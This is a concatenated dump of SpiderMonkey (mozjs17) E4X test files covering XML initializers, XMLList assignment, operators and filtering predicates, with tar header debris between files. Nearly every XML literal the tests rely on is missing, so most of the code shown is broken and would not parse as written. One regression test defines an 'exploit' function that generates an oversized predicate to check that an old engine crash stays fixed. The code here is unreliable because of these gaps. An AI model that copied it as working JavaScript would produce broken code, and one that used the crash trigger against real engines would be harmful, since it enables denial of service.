        ; order.*[order.*.length()] = new item; TEST(7, correct, order); // Change the price of the item item = Big Screen Television 1299.99 correct = Big Screen Television 99.95 item.price = 99.95; TEST(8, item, correct); // Change the description of the item item = Big Screen Television 1299.99 correct = Mobile Phone 1299.99 item.description = "Mobile Phone"; TEST(9, item, correct); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/regress-340024.js0000664000175000017500000000121612106270663022732 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 340024; var summary = '11.1.4 - XML Initializer'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); expect = ''; try { actual = (.toXMLString()); } catch(E) { actual = E + ''; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.5.js0000664000175000017500000000153512106270663021255 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.1.5 - XMLList Initializer"); docfrag = <>Phil35skiing; TEST(1, "xml", typeof(docfrag)); correct = Phil; TEST(2, correct, docfrag[0]); emplist = <> Jim25 Joe20 Sue30 ; TEST(3, "xml", typeof(emplist)); TEST_XML(4, 2, emplist[2].@id); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.4-08.js0000664000175000017500000001574312106270663021507 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) fails /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "11.1.4 - XML Initializer - {} Expressions - 08"; var BUGNUMBER = 325750; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); printStatus('E4X: inconsistencies in the use of {} syntax Part Deux'); // https://bugzilla.mozilla.org/show_bug.cgi?id=318922 // https://bugzilla.mozilla.org/show_bug.cgi?id=321549 var exprs = []; var iexpr; exprs.push({expr: 'b=\'\\\'\';\na=\n x\n;', valid: false}); exprs.push({expr: 'b=\'\\\'\';\na=\n x\n;', valid: false}); exprs.push({expr: 'b=\'b\';\na=\n x\n;', valid: true}); exprs.push({expr: 'b=\'b\';\na=\n x\n;', valid: true}); exprs.push({expr: 'b=\'b\';\na=\n x\n;', valid: true}); exprs.push({expr: 'b=\'b\';\na=\n x\n;', valid: true}); exprs.push({expr: 'b=\'b\';\na=\n <{b}b>x\n;', valid: true}); exprs.push({expr: 'b=\'b\';\na=\n x\n;', valid: true}); exprs.push({expr: 'b=\'b\';\na=\n <{b+\'b\'}>x\n;', valid: true}); exprs.push({expr: 'b=\'b\';\na=\n <{b}b>x\n;', valid: true}); exprs.push({expr: 'b=\'c\';\na=\n x\n;', valid: false}); exprs.push({expr: 'b=\'c\';\na=\n x\n;', valid: true}); exprs.push({expr: 'b=\'c\';\na=\n x\n;', valid: false}); exprs.push({expr: 'b=\'c\';\na=\n x\n;', valid: true}); exprs.push({expr: 'b=\'c\';\na=\n x\n;', valid: true}); exprs.push({expr: 'b=\'c\';\na=\n x\n;', valid: true}); exprs.push({expr: 'b=\'c\';\na=\n x\n;', valid: true}); exprs.push({expr: 'm=1;\na=\n x {m} z\n;', valid: true}); exprs.push({expr: 'm=1;\na=new XML(m);', valid: true}); exprs.push({expr: 'm=o;\na=\n x {m} z\n;', valid: true}); exprs.push({expr: 'm=o;\na=\n <{m}>x z\n;', valid: false}); exprs.push({expr: 'm=o;\na=\n <{m}>x z\n;', valid: true}); exprs.push({expr: 'm=[1,\'x\'];\na=\n x {m} z\n;', valid: true}); exprs.push({expr: 'm=[1,\'x\'];\na=new XML(m);', valid: false}); exprs.push({expr: 'm=[1];\na=new XML(m);', valid: false}); exprs.push({expr: 'm=\'o\';\na=\n x {m} z\n;', valid: true}); exprs.push({expr: 'm=\'o\';\na=\n x {m} z\n;', valid: true}); exprs.push({expr: 'm=\'x\';\na=new XML(m);', valid: true}); exprs.push({expr: 'm=new Date();\na=new XML(m);', valid: false}); exprs.push({expr: 'm=new Number(\'1\');\na=new XML(m);', valid: true}); exprs.push({expr: 'm=new String(\'x\');\na=new XML(\'\\n {m}\\n\');', valid: true}); exprs.push({expr: 'm=new String(\'x\');\na=new XML(m);', valid: true}); exprs.push({expr: 'm={a:1,b:\'x\'};\na=\n x {m} z\n;', valid: true}); exprs.push({expr: 'm={a:1,b:\'x\'};\na=new XML(m);', valid: false}); exprs.push({expr: 'p="p";\nu=\'http://a.uri/\';\na=\n x\n;', valid: true}); exprs.push({expr: 'p="p";\nu=\'http://a.uri/\';\na=\n x\n;', valid: true}); exprs.push({expr: 'p="pp";\nu=\'http://a.uri/\';\na=\n x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\na=\n x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\na=\n x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\na=\n <{u}:b>x\n;', valid: false}); exprs.push({expr: 'u=\'http://a.uri/\';\na=\n x\n;', valid: false}); exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace("p",u);\na=\n <{u}:b>x\n;', valid: false}); exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace("p",u);\na=\n <{u}:b>x\n;', valid: false}); exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace("p",u);\na=\n x\n;', valid: false}); exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace("p",u);\na=\n <{n}:b>x\n;', valid: false}); exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace(u);\na=\n x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace(u);\na=\n <{n}:b>x\n;', valid: false}); exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace(u);\na=\n x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace(u);\na=\n <{n}:b>x\n;', valid: false}); exprs.push({expr: 'u=\'http://a.uri/\';\nn=new Namespace(u);\na=\n <{n}:b>x\n;', valid: false}); exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\na=\n <{p}:b>x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\na=\n x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\na=\n <{p}p:b>x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\nns="ns";\na=\n <{p}p:b>x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\nns="xmlns";\na=\n <{p}p:b>x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\np=\'p\';\nxml="xml";\na=\n <{p}p:b>x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\np=\'pp\';\na=\n <{p}:b>x\n;', valid: true}); exprs.push({expr: 'u=\'http://a.uri/\';\nu2=\'http://uri2.sameprefix/\';\nn=new Namespace(\'p\',u2);\na=\n <{n}:b>x\n;', valid: false}); // This should always fail for (iexpr = 0; iexpr < exprs.length; ++iexpr) { evalStr(exprs, iexpr); } END(); function evalStr(exprs, iexpr) { var value; var valid; var passfail; var obj = exprs[iexpr]; try { value = eval(obj.expr).toXMLString(); valid = true; } catch(ex) { value = ex + ''; valid = false; } passfail = (valid === obj.valid); msg = iexpr + ': ' + (passfail ? 'PASS':'FAIL') + ' expected: ' + (obj.valid ? 'valid':'invalid') + ', actual: ' + (valid ? 'valid':'invalid') + '\n' + 'input: ' + '\n' + obj.expr + '\n' + 'output: ' + '\n' + value + '\n\n'; printStatus(msg); TEST(iexpr, obj.valid, valid); return passfail; } mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.4-06.js0000664000175000017500000000126612106270663021500 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "11.1.4 - ]] should be allowed in CDATA Section"; var BUGNUMBER = 313929; var actual = 'No error'; var expect = 'No error'; printBugNumber(BUGNUMBER); START(summary); try { actual = XML("").toString(); } catch(e) { actual = e + ''; } expect = ( ]] ).toString(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.2.2.js0000664000175000017500000000325512106270663021254 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.2.2 - Function Calls"); rectangle = 50 75 20 30 ; TEST(1, 1, rectangle.length()); TEST(2, 20, rectangle.length); shipto = Fred Jones 123 Foobar Ave. Redmond, WA, 98008 ; upperName = shipto.name.toUpperCase(); TEST(3, "FRED JONES", upperName); upperName = shipto.name.toString().toUpperCase(); TEST(4, "FRED JONES", upperName); upperName = shipto.name.toUpperCase(); TEST(5, "FRED JONES", upperName); citystatezip = shipto.citystatezip.split(", "); state = citystatezip[1]; TEST(6, "WA", state); zip = citystatezip[2]; TEST(7, "98008", zip); citystatezip = shipto.citystatezip.toString().split(", "); state = citystatezip[1]; TEST(8, "WA", state); zip = citystatezip[2]; TEST(9, "98008", zip); // Test method name/element name conflicts x = Foo Bar ; TEST(10, Foo, x.name); TEST(11, QName("alpha"), x.name()); TEST(12, Bar, x.length); TEST(13, 1, x.length()); TEST(14, x, x.(name == "Foo")); x.name = "foobar"; TEST(15, foobar, x.name); TEST(16, QName("alpha"), x.name()); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.2.js0000664000175000017500000000316312106270663021251 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.1.2 - Qualified Identifiers"); x = DIS ; soap = new Namespace("http://schemas.xmlsoap.org/soap/envelope/"); stock = new Namespace("http://mycompany.com/stocks"); encodingStyle = x.@soap::encodingStyle; TEST_XML(1, "http://schemas.xmlsoap.org/soap/encoding/", encodingStyle); correct = DIS ; body = x.soap::Body; TEST_XML(2, correct.toXMLString(), body); body = x.soap::["Body"]; TEST_XML(3, correct.toXMLString(), body); q = new QName(soap, "Body"); body = x[q]; TEST_XML(4, correct.toXMLString(), body); correct = MYCO; x.soap::Body.stock::getLastTradePrice.symbol = "MYCO"; TEST_XML(5, correct.toXMLString(), x.soap::Body.stock::getLastTradePrice.symbol); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.4-01.js0000664000175000017500000000147612106270663021476 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = '11.1.4 - XML Initializer should accept single processing ' + 'instruction'; var BUGNUMBER = 257679; var actual = ''; var expect = 'processing-instruction'; printBugNumber(BUGNUMBER); START(summary); XML.ignoreProcessingInstructions = false; print("XML.ignoreProcessingInstructions: " + XML.ignoreProcessingInstructions); var pi = ; if (pi) { actual = pi.nodeKind(); } else { actual = 'undefined'; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/browser.js0000664000175000017500000000000012106270663022177 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Expressions/11.6.3.js0000664000175000017500000000351512106270663021260 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.6.3 - Compound Assignment"); // Insert employee 3 and 4 after the first employee e = Joe 20 Sue 30 ; correct = Joe 20 Fred Carol Sue 30 ; e.employee[0] += Fred + Carol; TEST(1, correct, e); // Append employees 3 and 4 to the end of the employee list e = Joe 20 Sue 30 ; correct = Joe 20 Sue 30 Fred Carol ; e.employee[1] += Fred + Carol; TEST(2, correct, e); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.5.1.js0000664000175000017500000000307012106270663021251 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.5.1 - Equality Operators"); x = one; y = one; TEST(1, true, (x == y) && (y == x)); // Should return false if comparison is not XML y = "one"; TEST(2, false, (x == y) || (y == x)); y = undefined TEST(3, false, (x == y) || (y == x)); y = null TEST(4, false, (x == y) || (y == x)); // Should check logical equiv. x = onetwo; y = onetwo; TEST(5, true, (x == y) && (y == x)); y = onetwo; TEST(6, false, (x == y) || (y == x)); m = new Namespace(); n = new Namespace(); TEST(7, true, m == n); m = new Namespace("uri"); TEST(8, false, m == n); n = new Namespace("ns", "uri"); TEST(9, true, m == n); m = new Namespace(n); TEST(10, true, m == n); TEST(11, false, m == null); TEST(12, false, null == m); m = new Namespace("ns", "http://anotheruri"); TEST(13, false, m == n); p = new QName("a"); q = new QName("b"); TEST(14, false, p == q); q = new QName("a"); TEST(15, true, p == q); q = new QName("http://someuri", "a"); TEST(16, false, p == q); q = new QName(null, "a"); TEST(16, false, p == q); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.6.2.js0000664000175000017500000001445112106270663021260 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.6.2 - XMLList Assignment"); // Set the name of the only customer in the order to Fred Jones order = John Smith Big Screen Television 1299.99 DVD Player 399.99 ; correct = Fred Jones Big Screen Television 1299.99 DVD Player 399.99 ; order.customer.name = "Fred Jones"; TEST(1, correct, order); // Replace all the hobbies for the only customer in the order order = John Smith Biking Big Screen Television 1299.99 DVD Player 399.99 ; correct = John Smith shopping Big Screen Television 1299.99 DVD Player 399.99 ; order.customer.hobby = "shopping" TEST(2, correct, order); // Attempt to set the sale date of the item. Throw an exception if more than 1 item exists. order = John Smith Big Screen Television 1299.99 01-05-2002 ; correct = John Smith Big Screen Television 1299.99 05-07-2002 ; order.item.saledate = "05-07-2002" TEST(3, correct, order); order = John Smith Biking Big Screen Television 1299.99 DVD Player 399.99 ; try { order.item.saledate = "05-07-2002"; SHOULD_THROW(4); } catch (ex) { TEST(4, "TypeError", ex.name); } // Replace all the employee's hobbies with their new favorite pastime emps = John 20 skiing Sue 30 running Ted 35 Biking ; correct = John 20 skiing Sue 30 running Ted 35 working ; emps.employee.(@id == 3).hobby = "working"; TEST(5, correct, emps); // Replace the first employee with George emps = John 20 Sue 30 Ted 35 ; correct = George 27 Sue 30 Ted 35 ; emps.employee[0] = George27; TEST(6, emps, correct); // Add a new employee to the end of the employee list emps = John 20 Sue 30 Ted 35 ; correct = John 20 Sue 30 Ted 35 Frank 39 ; emps.employee += Frank39; TEST(7, correct, emps); // Add a new employee to the end of the employee list emps = John 20 Sue 30 Ted 35 ; correct = John 20 Sue 30 Ted 35 Frank 39 ; emps.employee[emps.employee.length()] = Frank39; TEST(7, correct, emps); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/regress-302531.js0000664000175000017500000000130112106270663022726 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Blake Kaplan */ var summary = "E4X QuoteString should deal with empty string"; var BUGNUMBER = 302531; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); function f(e) { return ; } XML.ignoreWhitespace = true; XML.prettyPrinting = true; expect = ( ).toXMLString().replace(/John25; TEST(1, John25, person); e = Joe20 Sue30 ; TEST_XML(2, 1, e.employee[0].@id); correct = Sue; TEST(3, correct, e.employee[1].name); names = new Array(); names[0] = "Alpha"; names[1] = "Bravo"; names[2] = "Charlie"; names[3] = "Delta"; names[4] = "Echo"; names[5] = "Golf"; names[6] = "Hotel"; names[7] = "India"; names[8] = "Juliet"; names[9] = "Kilo"; ages = new Array(); ages[0] = "20"; ages[1] = "21"; ages[2] = "22"; ages[3] = "23"; ages[4] = "24"; ages[5] = "25"; ages[6] = "26"; ages[7] = "27"; ages[8] = "28"; ages[9] = "29"; for (i = 0; i < 10; i++) { e.*[i] = {names[i].toUpperCase()} {ages[i]} ; correct = new XML("" + names[i].toUpperCase() + "" + ages[i] + ""); TEST(4 + i, correct, e.*[i]); } tagName = "name"; attributeName = "id"; attributeValue = 5; content = "Fred"; x = <{tagName} {attributeName}={attributeValue}>{content}; TEST(14, "Fred", x.toXMLString()); // Test {} on XML and XMLList types x = 30 50 ; correct = 50 30 ; x = {x.width}{x.length}; TEST(15, correct, x); var content = "bar"; x = {content}; correct = ; correct.a = content; TEST(16, correct, x); x = ; correct = ; correct.@a = content; TEST(17, correct, x); a = 5; b = 3; c = "x"; x = <{c} a={a + " < " + b + " is " + (a < b)}>{a + " < " + b + " is " + (a < b)}; TEST(18, "5 < 3 is false", x.toXMLString()); x = <{c} a={a + " > " + b + " is " + (a > b)}>{a + " > " + b + " is " + (a > b)}; TEST(19, " 3 is true\">5 > 3 is true", x.toXMLString()); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.4-05.js0000664000175000017500000000125112106270663021471 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "11.1.4 - XML Initializer - Comment hiding parsing/scanning"; var BUGNUMBER = 311157; var actual; var expect; printBugNumber(BUGNUMBER); START(summary); XML.ignoreWhitespace = false; var x = there ; actual = x.toString(); expect = ' duh \n there '; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.1.js0000664000175000017500000000252512106270663021251 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.1.1 - Attribute Identifiers"); x = TEST_XML(1, "value1", x.bravo.@attr1); TEST_XML(2, "value2", x.bravo.charlie.@attr1); correct = new XMLList(); correct += new XML("value1"); correct += new XML("value2"); TEST(3, correct, x..@attr1); n = new Namespace("http://someuri"); TEST_XML(4, "value3", x.bravo.@n::attr1); TEST_XML(5, "value4", x.bravo.charlie.@n::attr1); correct = new XMLList(); correct += new XML("value3"); correct += new XML("value4"); TEST(6, correct, x..@n::attr1); q = new QName(n, "attr1"); TEST(7, correct, x..@[q]); correct = new XMLList(); correct += new XML("value1"); correct += new XML("value3"); correct += new XML("value2"); correct += new XML("value4"); TEST(8, correct, x..@*::attr1); TEST_XML(9, "value1", x.bravo.@["attr1"]); TEST_XML(10, "value3", x.bravo.@n::["attr1"]); TEST_XML(11, "value3", x.bravo.@[q]); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.4.1.js0000664000175000017500000000555512106270663021262 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.4.1 - Addition Operator"); employeeData = Fred + 28 + skiing; TEST(1, "xml", typeof(employeeData)); correct = <>Fred28skiing; TEST(2, correct, employeeData); order = Big Screen Television DVD Player CD Player 8-Track Player ; correct = Big Screen Television + CD Player + 8-Track Player; myItems = order.item[0] + order.item[2] + order.item[3]; TEST(3, "xml", typeof(myItems)); TEST(4, correct, myItems); correct = Big Screen Television + DVD Player + CD Player + 8-Track Player + New Item; newItems = order.item + New Item; TEST(5, "xml", typeof(newItems)); TEST(6, correct, newItems); order = Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99 ; totalPrice = +order.item[0].price + +order.item[1].price; TEST(7, "number", typeof(totalPrice)); TEST(8, 1699.98, totalPrice); totalPrice = Number(order.item[1].price) + Number(order.item[3].price); TEST(9, 469.98, totalPrice); order =
        123 Foobar Ave. Bellevue WA 98008
        ; streetCity = "" + order.customer.address.street + order.customer.address.city; TEST(10, "string", typeof(streetCity)); TEST(11, "123 Foobar Ave.Bellevue", streetCity); statezip = String(order.customer.address.state) + order.customer.address.zip; TEST(12, "string", typeof(statezip)); TEST(13, "WA98008", statezip); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.2.4.js0000664000175000017500000000364112106270663021255 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.2.4 - XML Filtering Predicate Operator"); e = John20 Sue30 ; correct = John20; john = e.employee.(name == "John"); TEST(1, correct, john); john = e.employee.(name == "John"); TEST(2, correct, john); correct = John20 + Sue30; twoEmployees = e.employee.(@id == 0 || @id == 1); TEST(3, correct, twoEmployees); twoEmployees = e.employee.(@id == 0 || @id == 1); TEST(4, correct, twoEmployees); i = 0; twoEmployees = new XMLList(); for each (var p in e..employee) { if (p.@id == 0 || p.@id == 1) { twoEmployees += p; } } TEST(5, correct, twoEmployees); i = 0; twoEmployees = new XMLList(); for each (var p in e..employee) { if (p.@id == 0 || p.@id == 1) { twoEmployees[i++] = p; } } TEST(6, correct, twoEmployees); // test with syntax e = John20 Sue30 ; correct = John20 + Sue30; i = 0; twoEmployees = new XMLList(); for each (var p in e..employee) { with (p) { if (@id == 0 || @id == 1) { twoEmployees[i++] = p; } } } TEST(7, correct, twoEmployees); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/regress-496113.js0000664000175000017500000000144612106270663022752 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ // See https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide/Processing_XML_with_E4X#section_7 var summary = 'simple filter'; var BUGNUMBER = 496113; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); var people = Joe ; expect = Joe.toXMLString(); print(actual = people.person.(name == "Joe").toXMLString()); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.4-04.js0000664000175000017500000000117612106270663021476 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "11.1.4 - XML Initializer - Comment hiding parsing/scanning"; var BUGNUMBER = 311157; var actual; var expect; printBugNumber(BUGNUMBER); START(summary); var x = there ; actual = x.toString(); expect = '\n there '; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/regress-366123.js0000664000175000017500000000135212106270663022743 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 366123; var summary = 'Compiling long XML filtering predicate'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); function exploit() { var code = "foo = .(", obj = {}; for(var i = 0; i < 0x10000; i++) { code += "0, "; } code += "0);"; Function(code); } try { exploit(); } catch(ex) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.4-02.js0000664000175000017500000000131612106270663021470 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "11.1.4 - XML Initializer should accept single CDATA Section"; var BUGNUMBER = 257679; var actual = ''; var expect = 'text'; printBugNumber(BUGNUMBER); START(summary); var cdataText = All for Kibology.]]>; if (cdataText) { actual = cdataText.nodeKind(); } else { actual = 'undefined'; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/0000775000175000017500000000000012106270663017142 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.15.js0000664000175000017500000000071012106270663020452 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.15 - XMLList normalize()"); TEST(1, true, XMLList.prototype.hasOwnProperty("normalize")); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.3.js0000664000175000017500000000216012106270663020370 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.3 - XMLList attributes()"); TEST(1, true, XMLList.prototype.hasOwnProperty("attributes")); // Test with XMLList of size 0 x = new XMLList() TEST(2, "xml", typeof(x.attributes())); TEST_XML(3, "", x.attributes()); // Test with XMLList of size 1 x += one; TEST(4, "xml", typeof(x.attributes())); correct = new XMLList(); correct += new XML("value1"); correct += new XML("value2"); TEST(5, correct, x.attributes()); // Test with XMLList of size > 1 x += two; TEST(6, "xml", typeof(x.attributes())); correct = new XMLList(); correct += new XML("value1"); correct += new XML("value2"); correct += new XML("value3"); correct += new XML("value4"); TEST(7, correct, x.attributes()); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/shell.js0000664000175000017500000000000012106270663020575 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.6.js0000664000175000017500000000070512106270663020376 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.6 - XMLList comments()"); TEST(1, true, XMLList.prototype.hasOwnProperty("comments")); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.1.js0000664000175000017500000000265412106270663020234 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.1 - XMLList Constructor as Function"); x = XMLList(); TEST(1, "xml", typeof(x)); TEST(2, true, x instanceof XMLList); // Make sure it's not copied if it's an XMLList x = <> one two ; y = XMLList(x); TEST(3, x === y, true); x += three; TEST(4, x === y, false); // Load from one XML type x = XMLList(one); TEST_XML(5, "one", x); // Load from Anonymous x = XMLList(<>onetwo); correct = new XMLList(); correct += one; correct += two; TEST_XML(6, correct.toString(), x); // Load from Anonymous as string x = 